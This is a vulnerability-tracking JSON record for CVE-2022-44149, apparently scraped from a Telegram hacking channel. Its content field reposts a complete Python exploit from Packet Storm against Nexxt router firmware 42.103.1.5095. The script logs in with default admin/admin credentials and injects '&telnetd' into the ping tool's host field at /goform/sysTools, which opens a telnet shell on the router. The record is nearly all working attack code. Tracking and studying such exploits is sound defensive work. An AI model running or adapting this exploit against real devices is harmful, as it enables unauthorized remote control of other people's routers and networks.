{"uuid": "5ac5f5d6-eed7-44e5-94f3-c2cbe746a913", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-44149", "type": "seen", "source": "https://t.me/hacking_Attack/83462", "content": "Exploit Collector\nNexxt Router Firmware 42.103.1.5095 Remote Code Execution\n\nhttps://4.bp.blogspot.com/-khon6dqGLkI/WWlvkVAr7qI/AAAAAAAAIQw/JwPgE9u6PkcV9AqklLFI3rOjfEX9YXC4QCLcBGAs/s1600/h96.png \nNexxt Router Firmware version 42.103.1.5095 authenticated remote code execution exploit that enables telnetd.\n\nSHA-256 | f6b93f8ca64ede0f2262b8069bea1bb4e92c90797cdd7f00227408d3d9a7adb8\n\nDownload\n# Exploit Title: Nexxt Router Firmware 42.103.1.5095 - Remote Code Execution (RCE) (Authenticated)\n# Date: 19/10/2022\n# Exploit Author: Yerodin Richards\n# Vendor Homepage: https://www.nexxtsolutions.com/\n# Version: 42.103.1.5095\n# Tested on: ARN02304U8\n# CVE : CVE-2022-44149\n\nimport requests\nimport base64\n\nrouter_host = \"http://192.168.1.1\"\nusername = \"admin\"\npassword = \"admin\"\ndef main():\nsend_payload(\"&telnetd\")\nprint(\"connect to router using: `telnet \"+router_host.split(\"//\")[1]+ \"` using known credentials\")\npass\n\ndef gen_header(u, p):\nreturn base64.b64encode(f\"{u}:{p}\".encode(\"ascii\")).decode(\"ascii\")\n\ndef send_payload(payload):\nurl = router_host+\"/goform/sysTools\"\nheaders = {\"Authorization\": \"Basic {}\".format(gen_header(username, password))}\nparams = {\"tool\":\"0\", \"pingCount\":\"4\", \"host\": payload, \"sumbit\": \"OK\"}\nrequests.post(url, headers=headers, data=params)\nif __name__ == '__main__':\nmain()\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-02T01:01:28.527639Z"}